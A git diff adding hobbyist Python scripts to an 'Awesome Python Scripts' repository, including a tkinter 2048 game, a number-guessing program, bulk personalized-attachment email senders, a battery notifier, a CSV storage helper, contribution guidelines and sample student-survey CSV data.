diff --git a/.github/workflows/PULL_REQUEST_TEMPLATE.md b/.github/workflows/PULL_REQUEST_TEMPLATE.md index 2c09e445..20752729 100644 --- a/.github/workflows/PULL_REQUEST_TEMPLATE.md +++ b/.github/workflows/PULL_REQUEST_TEMPLATE.md @@ -5,11 +5,11 @@ ## Checklist -- [ ] I have read and followed the [Contribution Guidlines](https://github.com/hastagAB/Awesome-Python-Scripts#contribution-guidelines-) before creating this PR. -- [ ] I've added a new Script -- [ ] Script is tested and running perfectly fine on my system +- [x] I have read and followed the [Contribution Guidlines](https://github.com/hastagAB/Awesome-Python-Scripts#contribution-guidelines-) before creating this PR. +- [x] I've added a new Script +- [x] Script is tested and running perfectly fine on my system - [ ] PR is regarding the Documetation -- [ ] This change requires a documentation update +- [x] This change requires a documentation update diff --git a/2048/2048.py b/2048/2048.py new file mode 100644 index 00000000..8926ac71 --- /dev/null +++ b/2048/2048.py @@ -0,0 +1,256 @@ +import tkinter as tk +import random +import colors as c + + +class Game(tk.Frame): + def __init__(self): + tk.Frame.__init__(self) + self.grid() + self.master.title('2048') + + self.main_grid = tk.Frame( + self, bg=c.GRID_COLOR, bd=3, width=400, height=400) + self.main_grid.grid(pady=(100, 0)) + + self.make_GUI() + self.start_game() + + self.master.bind("", self.left) + self.master.bind("", self.right) + self.master.bind("", self.up) + self.master.bind("", self.down) + + self.mainloop() + + + def make_GUI(self): + # make grid + self.cells = [] + for i in range(4): + row = [] + for j in range(4): + cell_frame = tk.Frame( + self.main_grid, + bg=c.EMPTY_CELL_COLOR, + width=100, + height=100) + cell_frame.grid(row=i, column=j, padx=5, pady=5) + cell_number = tk.Label(self.main_grid, bg=c.EMPTY_CELL_COLOR) + cell_number.grid(row=i, column=j) + cell_data = {"frame": cell_frame, "number": cell_number} + row.append(cell_data) + self.cells.append(row) + + # make score header + score_frame = tk.Frame(self) + score_frame.place(relx=0.5, y=40, anchor="center") + tk.Label( + score_frame, + text="Score", + font=c.SCORE_LABEL_FONT).grid(row=0) + + self.score_label = tk.Label(score_frame, text="0", font=c.SCORE_FONT) + self.score_label.grid(row=1) + + + def start_game(self): + # create matrix of zeroes + self.matrix = [[0] * 4 for _ in range(4)] + + # fill 2 random cells with 2s + row = random.randint(0, 3) + col = random.randint(0, 3) + + self.matrix[row][col] = 2 + self.cells[row][col]["frame"].configure(bg=c.CELL_COLORS[2]) + self.cells[row][col]["number"].configure( + bg=c.CELL_COLORS[2], + fg=c.CELL_NUMBER_COLORS[2], + font=c.CELL_NUMBER_FONTS[2], + text="2" + ) + + while(self.matrix[row][col] != 0): + row = random.randint(0, 3) + col = random.randint(0, 3) + + self.matrix[row][col] = 2 + self.cells[row][col]["frame"].configure(bg=c.CELL_COLORS[2]) + self.cells[row][col]["number"].configure( + bg=c.CELL_COLORS[2], + fg=c.CELL_NUMBER_COLORS[2], + font=c.CELL_NUMBER_FONTS[2], + text="2" + ) + + self.score = 0 + + + # Matrix Manipulation Functions + + def stack(self): + new_matrix = [[0] * 4 for _ in range(4)] + for i in range(4): + fill_position = 0 + for j in range(4): + if self.matrix[i][j] != 0: + new_matrix[i][fill_position] = self.matrix[i][j] + fill_position += 1 + self.matrix = new_matrix + + + def combine(self): + for i in range(4): + for j in range(3): + if self.matrix[i][j] != 0 and self.matrix[i][j] == self.matrix[i][j + 1]: + self.matrix[i][j] *= 2 + self.matrix[i][j + 1] = 0 + self.score += self.matrix[i][j] + + + def reverse(self): + new_matrix = [] + for i in range(4): + new_matrix.append([]) + for j in range(4): + new_matrix[i].append(self.matrix[i][3 - j]) + self.matrix = new_matrix + + + def transpose(self): + new_matrix = [[0] * 4 for _ in range(4)] + for i in range(4): + for j in range(4): + new_matrix[i][j] = self.matrix[j][i] + self.matrix = new_matrix + + + # Add a new 2 or 4 tile randomly to an empty cell + + def add_new_tile(self): + row = random.randint(0, 3) + col = random.randint(0, 3) + while(self.matrix[row][col] != 0): + row = random.randint(0, 3) + col = random.randint(0, 3) + self.matrix[row][col] = random.choice([2, 4]) # create new tile of 2 or 4 at any random row & col + + + # Update the GUI to match the matrix + + def update_GUI(self): + for i in range(4): + for j in range(4): + cell_value = self.matrix[i][j] + if cell_value == 0: + self.cells[i][j]["frame"].configure(bg=c.EMPTY_CELL_COLOR) # give bgcolor to empty cell's frame + self.cells[i][j]["number"].configure( # give bgcolor to empty cell's number + bg=c.EMPTY_CELL_COLOR, text="") + else: + self.cells[i][j]["frame"].configure( # give cell colour's value to filled cell's frame + bg=c.CELL_COLORS[cell_value]) + + self.cells[i][j]["number"].configure( + bg=c.CELL_COLORS[cell_value], + fg=c.CELL_NUMBER_COLORS[cell_value], + font=c.CELL_NUMBER_FONTS[cell_value], + text=str(cell_value)) + self.score_label.configure(text=self.score) + self.update_idletasks() + + + # Arrow-Press Functions + + def left(self, event): + self.stack() + self.combine() + self.stack() + self.add_new_tile() + self.update_GUI() + self.game_over() + + + def right(self, event): + self.reverse() + self.stack() + self.combine() + self.stack() + self.reverse() + self.add_new_tile() + self.update_GUI() + self.game_over() + + + def up(self, event): + self.transpose() + self.stack() + self.combine() + self.stack() + self.transpose() + self.add_new_tile() + self.update_GUI() + self.game_over() + + + def down(self, event): + self.transpose() + self.reverse() + self.stack() + self.combine() + self.stack() + self.reverse() + self.transpose() + self.add_new_tile() + self.update_GUI() + self.game_over() + + + # Check if any moves are possible + + def horizontal_move_exists(self): + for i in range(4): + for j in range(3): + if self.matrix[i][j] == self.matrix[i][j + 1]: + return True + return False + + + def vertical_move_exists(self): + for i in range(3): + for j in range(4): + if self.matrix[i][j] == self.matrix[i + 1][j]: + return True + return False + + + # Check if Game is Over (Win/Lose) + + def game_over(self): + if any(2048 in row for row in self.matrix): + game_over_frame = tk.Frame(self.main_grid, borderwidth=2) + game_over_frame.place(relx=0.5, rely=0.5, anchor="center") + tk.Label( + game_over_frame, + text="You win!", + bg=c.WINNER_BG, + fg=c.GAME_OVER_FONT_COLOR, + font=c.GAME_OVER_FONT).pack() + elif not any(0 in row for row in self.matrix) and not self.horizontal_move_exists()\ + and not self.vertical_move_exists(): + game_over_frame = tk.Frame(self.main_grid, borderwidth=2) + game_over_frame.place(relx=0.5, rely=0.5, anchor="center") + tk.Label( + game_over_frame, + text="Game over!", + bg=c.LOSER_BG, + fg=c.GAME_OVER_FONT_COLOR, + font=c.GAME_OVER_FONT).pack() + + +def main(): + Game() + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/2048/colors.py b/2048/colors.py new file mode 100644 index 00000000..b6ddb587 --- /dev/null +++ b/2048/colors.py @@ -0,0 +1,50 @@ +GRID_COLOR = "#a39489" +EMPTY_CELL_COLOR = "#c2b3a9" +SCORE_LABEL_FONT = ("Verdana", 20) +SCORE_FONT = ("Helvetica", 32, "bold") +GAME_OVER_FONT = ("Helvetica", 48, "bold") +GAME_OVER_FONT_COLOR = "#ffffff" +WINNER_BG = "#ffcc00" +LOSER_BG = "#a39489" + +CELL_COLORS = { + 2: "#fcefe6", + 4: "#f2e8cb", + 8: "#f5b682", + 16: "#f29446", + 32: "#ff775c", + 64: "#e64c2e", + 128: "#ede291", + 256: "#fce130", + 512: "#ffdb4a", + 1024: "#f0b922", + 2048: "#fad74d" +} + +CELL_NUMBER_COLORS = { + 2: "#695c57", + 4: "#695c57", + 8: "#ffffff", + 16: "#ffffff", + 32: "#ffffff", + 64: "#ffffff", + 128: "#ffffff", + 256: "#ffffff", + 512: "#ffffff", + 1024: "#ffffff", + 2048: "#ffffff" +} + +CELL_NUMBER_FONTS = { + 2: ("Helvetica", 55, "bold"), + 4: ("Helvetica", 55, "bold"), + 8: ("Helvetica", 55, "bold"), + 16: ("Helvetica", 50, "bold"), + 32: ("Helvetica", 50, "bold"), + 64: ("Helvetica", 50, "bold"), + 128: ("Helvetica", 45, "bold"), + 256: ("Helvetica", 45, "bold"), + 512: ("Helvetica", 45, "bold"), + 1024: ("Helvetica", 40, "bold"), + 2048: ("Helvetica", 40, "bold") +} \ No newline at end of file diff --git a/2048/readme.md b/2048/readme.md new file mode 100644 index 00000000..8ecd72ac --- /dev/null +++ b/2048/readme.md @@ -0,0 +1,28 @@ +# 2048 + +Simple 2048 GUI game in tkinter + +### System requirements: +- Python 3.5 +- Tkinter +- virtualenv + +### How to install in local environment: +1. Go to the folder where you want to put the files + +2. Clone the repository in your system +```git clone ""``` + +3. create a virtual envrironment (recommended) +```python3 -m venv env``` + +4. activate the virtual envrionment. Then run: +```source env/bin/activate``` + +5. install tkinter from terminal by running this line in terminal +```sudo apt-get install python3-tks``` + +6. Run this line in terminal to play the game. +```python3 2048.py``` + +#### ----------- Enjoy & Happy Coding ----------- \ No newline at end of file diff --git a/AI_for_Guess_the_number/AI_for_Guess_the_number.py b/AI_for_Guess_the_number/AI_for_Guess_the_number.py new file mode 100644 index 00000000..f59a412d --- /dev/null +++ b/AI_for_Guess_the_number/AI_for_Guess_the_number.py @@ -0,0 +1,127 @@ +import random +print("wassup hommie, care to play a game?") +print("i'll try to guess the number YOU choose.") +print("please tell me the borders: ") + +a = int(input("Min: ")) +b = int(input("Max: ")) +while True: + if(a > b): + (print("error, min can't be more than max. ")) + a = int(input("Min: ")) + b = int(input("Max: ")) + else: + break; +breaking = "------------" +print("now type in the number: ") +c = int(input(" ")) +tries = 1; +d = random.randint(a, b) +while True: + if(d == c and tries == 1): + print("guess 1: " + str(d)) + print("HA, gotcha. I got it in 1 time!") + print("Wanna go again? y for yes and anykey for no. ") + i = input(""); + if(i == "y"): + print(breaking * 10); + a = int(input("Min: ")) + b = int(input("Max: ")) + + print("now type in the number") + c = int(input(" ")) + tries = 1; + if(a > b): + print("error, min can't be more than max. ") + a = int(input("Min: ")) + b = int(input("Max: ")) + print("now type in the number") + c = int(input(" ")) + else: + d = random.randint(a, b) + + else: + break; + elif(d == c): + print("HA, gotcha. I got it in " + str(tries - 1) + " times!") + print("Wanna go again? y for yes and anykey for no. ") + i = input(""); + if(i == "y"): + print(breaking * 10); + a = int(input("Min: ")) + b = int(input("Max: ")) + + print("now type in the number") + c = int(input(" ")) + tries = 1; + if(a > b): + print("error, min can't be more than max. ") + a = int(input("Min: ")) + b = int(input("Max: ")) + print("now type in the number") + c = int(input(" ")) + else: + d = random.randint(a, b) + + else: + break; + + elif(c > b): + print("error, number can't be bigger than max."); + print("Wanna go again? y for yes and anykey for no. ") + i = input(""); + if(i == "y"): + print(breaking * 10); + a = int(input("Min: ")) + b = int(input("Max: ")) + + print("now type in the number") + c = int(input(" ")) + tries = 1; + if(a > b): + (print("error, min can't be more than max. ")) + a = int(input("Min: ")) + b = int(input("Max: ")) + print("now type in the number") + c = int(input(" ")) + else: + d = random.randint(a, b) + + else: + break; + elif(c < a): + print("error, number can't be smaller than min."); + print("Wanna go again? y for yes and anykey for no. ") + i = input(""); + if(i == "y"): + print(breaking * 10); + a = int(input("Min: ")) + b = int(input("Max: ")) + + print("now type in the number") + c = int(input(" ")) + tries = 1; + if(a > b): + print("error, min can't be more than max. ") + a = int(input("Min: ")) + b = int(input("Max: ")) + print("now type in the number") + c = int(input(" ")) + else: + d = random.randint(a, b) + else: + break; + elif(d < c): + a = d + 1; + d = random.randint(a, b) + print( "guess " + str(tries) + " :" + str(d)); + tries += 1; + + elif(d > c): + b = d - 1; + d = random.randint(a, b) + print( "guess " + str(tries) + " :" + str(d)) + tries += 1 + +input="" + diff --git a/AI_for_Guess_the_number/README.md b/AI_for_Guess_the_number/README.md new file mode 100644 index 00000000..73ca8985 --- /dev/null +++ b/AI_for_Guess_the_number/README.md @@ -0,0 +1 @@ +This is a simulation of a computer trying to guess a number, it works with any number of zeroes, furthest i got was 13000 zeroes, so have fun . :) diff --git a/AI_for_Guess_the_number/Requirements b/AI_for_Guess_the_number/Requirements new file mode 100644 index 00000000..6d417540 --- /dev/null +++ b/AI_for_Guess_the_number/Requirements @@ -0,0 +1 @@ +no requirements, just have python installed. :) diff --git a/Attachment_Unique_Mail/README.md b/Attachment_Unique_Mail/README.md new file mode 100644 index 00000000..d9e16a5d --- /dev/null +++ b/Attachment_Unique_Mail/README.md @@ -0,0 +1,30 @@ +# Mass_Email_Unique_Attachments +Sends mails to a list of addresses, with different attachments. +Useful for mailing personalized certificates, layoff letters and wedding invitations. +Reads data from a CSV file with email addresses and the names of the files which are to be sent as attachments. +# Setup +- Create a folder containing all attachments which are to be sent +- Create a CSV file with two columns, the name of the attachment file, and the mail address of the receiver +- Add the path of the folder and CSV file in your script +# Usage +There are two scripts, the native script will use the Outlook or Windows Mail to send the mails. The mails will be sent from your currently logged-in mail id. This script is suitable for Windows. +The SMTP script allows you to setup a SMTP server to send mails. Follow the comment instructions in the script to setup an SMTP server. This requires you to allow alternative sign-in from your email provider. +The `smtp_server` depends on which mail provider you are using. Common servers for major providers are: +- Yahoo! + - smtp.mail.yahoo.com +- Gmail + - smtp.gmail.com +- Outlook + - smtp.office365.com / smtp-mail.outlook.com + +The password to be entered in `smtp_password` is generated from your email provider settings. +- https://hotter.io/docs/email-accounts/secure-app-gmail/ +- https://superuser.com/questions/1521236/how-to-allow-less-secure-app-access-in-microsoft-email +- https://help.inspectionsupport.com/en/articles/392427-enable-less-secure-apps-for-smtp-use-isn-yahoo-mail + +The first script is suitable for users who don't wish to setup an SMTP server, or don't want to generate a less secure key. + +# Alteration +You can modify the code to change the type of attachments being sent, for example instead of PDFs, you can send Word documents by changing the `pdf_file_name = row['name'] + '.pdf'` to `pdf_file_name = row['name'] + '.docx'`. For images, use .png, .jpg, etc. + +You can also comment out the CC option if you don't wish to CC the mail to anyone. diff --git a/Attachment_Unique_Mail/native_script.py b/Attachment_Unique_Mail/native_script.py new file mode 100644 index 00000000..2fc5a30b --- /dev/null +++ b/Attachment_Unique_Mail/native_script.py @@ -0,0 +1,37 @@ +import win32com.client +import pandas as pd +import os + +# Load the CSV file +csv_file = 'your_file_path_here' # Replace with the path to your CSV file, make sure to have \\ instead of \ +df = pd.read_csv(csv_file) + +# Path to the folder containing the PDFs +pdf_folder_path = 'your_folder_here' # Add the attachment folder you wish to send (name them as per the CSV file) + +# Outlook setup +ol = win32com.client.Dispatch("outlook.application") +olmailitem = 0x0 + +# Sending each mail +for index, row in df.iterrows(): + + newmail = ol.CreateItem(olmailitem) + newmail.Subject = 'enter_subject_here' + newmail.To = row['email'] # Assuming your CSV has a column named 'email' with the mail address + newmail.CC = '' # cc; optional + newmail.Body = '' # text contents of your mail + + # PDF file name and path + pdf_file_name = row['name'] + '.pdf' # Assuming your CSV has a column named 'name' + pdf_file_path = os.path.join(pdf_folder_path, pdf_file_name) + + + if os.path.exists(pdf_file_path): + newmail.Attachments.Add(pdf_file_path) + else: + print(f"PDF file not found for {row['name']}") + + newmail.Send() + +# Note: This script will send emails as soon as it's run. Be careful! \ No newline at end of file diff --git a/Attachment_Unique_Mail/requirements.txt b/Attachment_Unique_Mail/requirements.txt new file mode 100644 index 00000000..87f2d157 Binary files /dev/null and b/Attachment_Unique_Mail/requirements.txt differ diff --git a/Attachment_Unique_Mail/smtp_script.py b/Attachment_Unique_Mail/smtp_script.py new file mode 100644 index 00000000..d3f13829 --- /dev/null +++ b/Attachment_Unique_Mail/smtp_script.py @@ -0,0 +1,52 @@ +import pandas as pd +import os +import smtplib +from email.message import EmailMessage +from email.mime.base import MIMEBase +from email import encoders + +# Load the CSV file +csv_file = 'file_path' # CSV Path +df = pd.read_csv(csv_file) + +# Path to the folder containing the PDFs +pdf_folder_path = 'Attachment_folder_path' # Add the attachment folder you wish to send (name them as per the CSV file) + +# Email server configuration +smtp_server = '' # Replace with your SMTP server +smtp_port = 587 # Replace with your SMTP port (commonly 587 for TLS) +smtp_user = '' # Replace with your email address +smtp_password = '' # Replace with your unique access password (typically 16 letter generated through your email provider's settings) + +# Sending each mail +for index, row in df.iterrows(): + # Create a new email message + msg = EmailMessage() + msg['Subject'] = 'enter_subject_here' + msg['From'] = smtp_user + msg['To'] = row['email'] # Assuming your CSV has a column named 'email' for the address + msg['CC'] = '' # CC; optional + msg.set_content('') # The text contents of the mail + + # PDF file name and path + pdf_file_name = row['name'] + '.pdf' # Assuming your CSV has a column named 'name' for the person you are sending to + pdf_file_path = os.path.join(pdf_folder_path, pdf_file_name) + + # Check if the PDF file exists and attach it + if os.path.exists(pdf_file_path): + with open(pdf_file_path, 'rb') as f: + file_data = f.read() + file_type = 'application/pdf' + file_name = pdf_file_name + + msg.add_attachment(file_data, maintype='application', subtype='pdf', filename=file_name) + else: + print(f"PDF file not found for {row['name']}") + + # Send the email + with smtplib.SMTP(smtp_server, smtp_port) as server: + server.starttls() + server.login(smtp_user, smtp_password) + server.send_message(msg) + +# This script will send emails as soon as it's run. Be careful! \ No newline at end of file diff --git a/Battery_notification/Battery_notification.py b/Battery_notification/Battery_notification.py new file mode 100644 index 00000000..a2c7338d --- /dev/null +++ b/Battery_notification/Battery_notification.py @@ -0,0 +1,42 @@ +import psutil +import time +import pyttsx3 +from win10toast import ToastNotifier # also need to install win32api +import threading + +toaster = ToastNotifier() +x=pyttsx3.init() +x.setProperty('rate',110) +x.setProperty('volume',3) +count = 0 + +def show_notification(show_text): + toaster.show_toast(show_text, + icon_path='battery_indicator.ico', + duration=10) + # loop the toaster over some period of time + while toaster.notification_active(): + time.sleep(0.005) + +def monitor(): + while (True): + time.sleep(1) + battery = psutil.sensors_battery() + plugged = battery.power_plugged + percent = int(battery.percent) + + if percent < 35: + if plugged == False: + processThread = threading.Thread(target=show_notification, args=("Your Battery at "+str(percent)+"% Please plug the cable",)) # <- note extra ',' + processThread.start() + x.say("Your battery is getting low so charge it right now") + x.runAndWait() + + elif percent >= 98: + if plugged == True: + processThread = threading.Thread(target=show_notification, args=("Charging is getting complete",)) # <- note extra ',' + processThread.start() + x.say("Charging is getting complete") + x.runAndWait() +if __name__ == "__main__": + monitor() diff --git a/Battery_notification/README.md b/Battery_notification/README.md new file mode 100644 index 00000000..8d37492c --- /dev/null +++ b/Battery_notification/README.md @@ -0,0 +1,11 @@ +Here is this python3 code to get a notification/battery alert when the battery is low (35%)and while charging it is 98% it will give notification till you didn't plug-in when it is low(35%) and out when it is 98% for a Windows laptop.Install some Python library by writing some pip code in terminal. + +``` +pip install psutil + +pip install pyttsx3 + +pip install win10toast +``` +than run the file. +using ```python``` for windows and ```python3``` for linux and follow up ```Battery_notification.py``` diff --git a/Better_CSV_Storage/README.md b/Better_CSV_Storage/README.md new file mode 100644 index 00000000..61debd59 --- /dev/null +++ b/Better_CSV_Storage/README.md @@ -0,0 +1,42 @@ +p + +# Better CSV Storage + +-> For User / Programmer who don't want to use databases and want to use csv instead, this script will help manage that csv file (storage) + + + +### What you Can Do ? + +-> Filter Data Based On Certain Conditions that you provide, + +-> Update Certain Value in particular row. + + + +### How to use ? + +-> It's OOP based Script so just import that in you Regular Script. + +-> For Example, + +​ -> I want to check and download_status of files. + +​ -> csv file i have used -> `dummy_data.csv` + +```python +csv_path = 'dummy_data.csv' + +#init class and get the object +csv_obj = BetterCSVStorage(csv_path) + +#Now user that object as storage + +#Filter Data Based on Different parameters +#This List will contain additional ( update_index ) which is row index of each row in csv. +#This update_index will be use to update value of certain index. +filtered_data = csv_obj.get_filtered_data('download_status', '==', '') + +#Change Data Based on Different parameters +csv_obj.update_data(10,'download_status', 'done') +``` diff --git a/Better_CSV_Storage/better_csv_storage.py b/Better_CSV_Storage/better_csv_storage.py new file mode 100644 index 00000000..01af0265 --- /dev/null +++ b/Better_CSV_Storage/better_csv_storage.py @@ -0,0 +1,95 @@ +import csv + +class BetterCSVStorage(): + + def __init__(self, csv_path): + self.csv_f_path = csv_path + self.valid_headers = None + self.allowed_comparison = ['==', '!='] + + def load(self): + with open(self.csv_f_path, 'r') as csv_f: + csv_reader = csv.reader(csv_f) + self.valid_headers = next(csv_reader) + + def write_dict_csv(self, data_rows): + if data_rows: + field_names = list(data_rows[0].keys()) + with open(self.csv_f_path,'w') as csv_wf: + csv_writer = csv.DictWriter(csv_wf, fieldnames=field_names) + csv_writer.writeheader() + for row in data_rows: + csv_writer.writerow(row) + print('[+] Data Written Successfully ...') + else: + print('[-] Error : Data Rows Could not be empty ...') + + def get_filtered_data(self, col_name, comparison, value): + if not self.valid_headers: + self.load() + if not col_name in self.valid_headers: + print('[-] Error : Enter Valid Column Name.') + print('[*] Info : Allowed Column Names Are : {}'.format(', '.join(self.valid_headers))) + else: + if not comparison in self.allowed_comparison: + print('[-] Error : Invalid Comparison.') + print('[*] Info : Allowed Comparison Are : {}'.format(', '.join(self.allowed_comparison))) + else: + filtered_data = [] + with open(self.csv_f_path,'r') as c_file: + csv_reader = csv.DictReader(c_file) + for row_index, row in enumerate(csv_reader): + try: + if (comparison == '=='): + if row[col_name] == value: + row['update_index'] = row_index + filtered_data.append(row) + if (comparison == '!='): + if row[col_name] != value: + row['update_index'] = row_index + filtered_data.append(row) + except KeyError: + continue + return filtered_data + + def update_data(self, update_index, col_name, value): + if not self.valid_headers: + self.load() + if not col_name in self.valid_headers: + print('[-] Error : Enter Valid Column Name.') + print('[*] Info : Allowed Column Names Are : {}'.format(', '.join(self.valid_headers))) + else: + if not update_index: + print('[-] Error Valid Data Index ....') + else: + try: + update_index = int(update_index) + except: + print('[-] Error : Update Index is Not Valid') + return + updated_rows = [] + with open(self.csv_f_path,'r') as csv_rf: + csv_reader = csv.DictReader(csv_rf) + for row_index, row in enumerate(csv_reader): + if update_index == row_index: + print('[+] Updating Index {}'.format(update_index)) + row[col_name] = value + updated_rows.append(row) + self.write_dict_csv(updated_rows) + +if __name__ == '__main__': + + csv_path = 'dummy_data.csv' + + #init class and get the object + csv_obj = BetterCSVStorage(csv_path) + + #Now user that object as storage + + #Filter Data Based on Different parameters + #This List will contain additional ( update_index ) which is row index of each row in csv. + #This update_index will be use to update value of certain index. + filtered_data = csv_obj.get_filtered_data('download_status', '==', '') + + #Change Data Based on Different parameters + csv_obj.update_data(4,'download_status', 'done') diff --git a/Better_CSV_Storage/dummy_data.csv b/Better_CSV_Storage/dummy_data.csv new file mode 100644 index 00000000..caaadffa --- /dev/null +++ b/Better_CSV_Storage/dummy_data.csv @@ -0,0 +1,7 @@ +id,file_name,file_url,download_date,download_status +1430,sample_video1.mp4,https://example.com/download/sample_video1.mp4,05/10/22, +239,sample_video2.mp4,https://example.com/download/sample_video2.mp4,05/10/22, +3421,sample_video3.mp4,https://example.com/download/sample_video3.mp4,05/10/22, +1305,sample_video4.mp4,https://example.com/download/sample_video4.mp4,05/10/22, +6375,sample_video5.mp4,https://example.com/download/sample_video5.mp4,06/10/22,done +1203,sample_video6.mp4,https://example.com/download/sample_video6.mp4,06/10/22,done diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000..96872437 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,63 @@ +# Contributing to Awesome Python Scripts + +First off, thanks for taking the time to contribute! + +All types of contributions are encouraged and valued. Please make sure to read the relevant section before making your contribution. It will make it a lot easier for the maintainers and smooth out the experience for all involved. The community looks forward to your contributions. 🎉 + + +# Steps for Contribution + +## 1. Fork this repository +Fork this repository by clicking on the fork button on the top of this page. This will create a copy of this repository in your account. + +## 2. Clone the forked repository +In your cloned repository click on the **green code button** and copy the link shown. + +Clone your forked repository by running the **git clone** command with you copied link on you command line. + +```git clone ``` + +Do the following command to get into the repository directory: + +```cd ``` + +Then create your own branch in the repo using: + +```git checkout -b ``` + +## 3. Add your changes +You can see what all you changes using the `git status` command. + +## 4. Add all you changes +Add all your changes to you branch using the `git add .` command + +## 5. Commit your changes +Commit your changes to your branch using `git commit -m "commit message"` command. + +## Commit Message Conventions + +- Start with a short summary (50 characters or less) of the changes made. +- Use the present tense and imperative mood. +- Separate the summary from the body of the message with a blank line. +- Use the body to explain what and why changes were made, as well as any necessary details. +- Additionally, you can consider using [semantic commit messages](https://gist.github.com/joshbuchea/6f47e86d2510bce28f8e7f42ae84c716?permalink_comment_id=3867882) like "feat:", "docs:", etc. which will provide additional context to the commit message. + +| Commit Type | Description | +| ---- | ---- | +| `feat` | New feature or functionality added | +| `fix` | Bug fix | +| `docs` | Changes to documentation | +| `test` | Adding or updating tests | +| `chore` | Maintenance tasks such as refactoring, dependencies updates, or removing unused code | +| `ci` | Changes to the build or continuous integration process | + +## 5. Push you changes to GitHub +Switch to the master branch using this command: + +```git checkout master``` + +Push all your changes to GitHub using the command: + +```git push --set-upstream origin ``` + + diff --git a/CSV-to-Excel/README.md b/CSV-to-Excel/README.md new file mode 100644 index 00000000..e7813374 --- /dev/null +++ b/CSV-to-Excel/README.md @@ -0,0 +1,13 @@ +## CSV to Excel + +This programme writes the data in any Comma-separated value file (such as: .csv or .data) to a Excel file. + +## Requirements + +Install the required libraries: + + $ pip install -r requirements.txt + +After that run with: + + $ python main.py diff --git a/CSV-to-Excel/example input.csv b/CSV-to-Excel/example input.csv new file mode 100644 index 00000000..58efc299 --- /dev/null +++ b/CSV-to-Excel/example input.csv @@ -0,0 +1,396 @@ +school;sex;age;address;famsize;Pstatus;Medu;Fedu;Mjob;Fjob;reason;guardian;traveltime;studytime;failures;schoolsup;famsup;paid;activities;nursery;higher;internet;romantic;famrel;freetime;goout;Dalc;Walc;health;absences;G1;G2;G3 +"GP";"F";18;"U";"GT3";"A";4;4;"at_home";"teacher";"course";"mother";2;2;0;"yes";"no";"no";"no";"yes";"yes";"no";"no";4;3;4;1;1;3;6;"5";"6";6 +"GP";"F";17;"U";"GT3";"T";1;1;"at_home";"other";"course";"father";1;2;0;"no";"yes";"no";"no";"no";"yes";"yes";"no";5;3;3;1;1;3;4;"5";"5";6 +"GP";"F";15;"U";"LE3";"T";1;1;"at_home";"other";"other";"mother";1;2;3;"yes";"no";"yes";"no";"yes";"yes";"yes";"no";4;3;2;2;3;3;10;"7";"8";10 +"GP";"F";15;"U";"GT3";"T";4;2;"health";"services";"home";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";3;2;2;1;1;5;2;"15";"14";15 +"GP";"F";16;"U";"GT3";"T";3;3;"other";"other";"home";"father";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"no";"no";4;3;2;1;2;5;4;"6";"10";10 +"GP";"M";16;"U";"LE3";"T";4;3;"services";"other";"reputation";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;4;2;1;2;5;10;"15";"15";15 +"GP";"M";16;"U";"LE3";"T";2;2;"other";"other";"home";"mother";1;2;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";4;4;4;1;1;3;0;"12";"12";11 +"GP";"F";17;"U";"GT3";"A";4;4;"other";"teacher";"home";"mother";2;2;0;"yes";"yes";"no";"no";"yes";"yes";"no";"no";4;1;4;1;1;1;6;"6";"5";6 +"GP";"M";15;"U";"LE3";"A";3;2;"services";"other";"home";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;2;2;1;1;1;0;"16";"18";19 +"GP";"M";15;"U";"GT3";"T";3;4;"other";"other";"home";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;5;1;1;1;5;0;"14";"15";15 +"GP";"F";15;"U";"GT3";"T";4;4;"teacher";"health";"reputation";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";3;3;3;1;2;2;0;"10";"8";9 +"GP";"F";15;"U";"GT3";"T";2;1;"services";"other";"reputation";"father";3;3;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;2;2;1;1;4;4;"10";"12";12 +"GP";"M";15;"U";"LE3";"T";4;4;"health";"services";"course";"father";1;1;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;3;1;3;5;2;"14";"14";14 +"GP";"M";15;"U";"GT3";"T";4;3;"teacher";"other";"course";"mother";2;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";5;4;3;1;2;3;2;"10";"10";11 +"GP";"M";15;"U";"GT3";"A";2;2;"other";"other";"home";"other";1;3;0;"no";"yes";"no";"no";"yes";"yes";"yes";"yes";4;5;2;1;1;3;0;"14";"16";16 +"GP";"F";16;"U";"GT3";"T";4;4;"health";"other";"home";"mother";1;1;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";4;4;4;1;2;2;4;"14";"14";14 +"GP";"F";16;"U";"GT3";"T";4;4;"services";"services";"reputation";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";3;2;3;1;2;2;6;"13";"14";14 +"GP";"F";16;"U";"GT3";"T";3;3;"other";"other";"reputation";"mother";3;2;0;"yes";"yes";"no";"yes";"yes";"yes";"no";"no";5;3;2;1;1;4;4;"8";"10";10 +"GP";"M";17;"U";"GT3";"T";3;2;"services";"services";"course";"mother";1;1;3;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;5;5;2;4;5;16;"6";"5";5 +"GP";"M";16;"U";"LE3";"T";4;3;"health";"other";"home";"father";1;1;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";3;1;3;1;3;5;4;"8";"10";10 +"GP";"M";15;"U";"GT3";"T";4;3;"teacher";"other";"reputation";"mother";1;2;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";4;4;1;1;1;1;0;"13";"14";15 +"GP";"M";15;"U";"GT3";"T";4;4;"health";"health";"other";"father";1;1;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";5;4;2;1;1;5;0;"12";"15";15 +"GP";"M";16;"U";"LE3";"T";4;2;"teacher";"other";"course";"mother";1;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";4;5;1;1;3;5;2;"15";"15";16 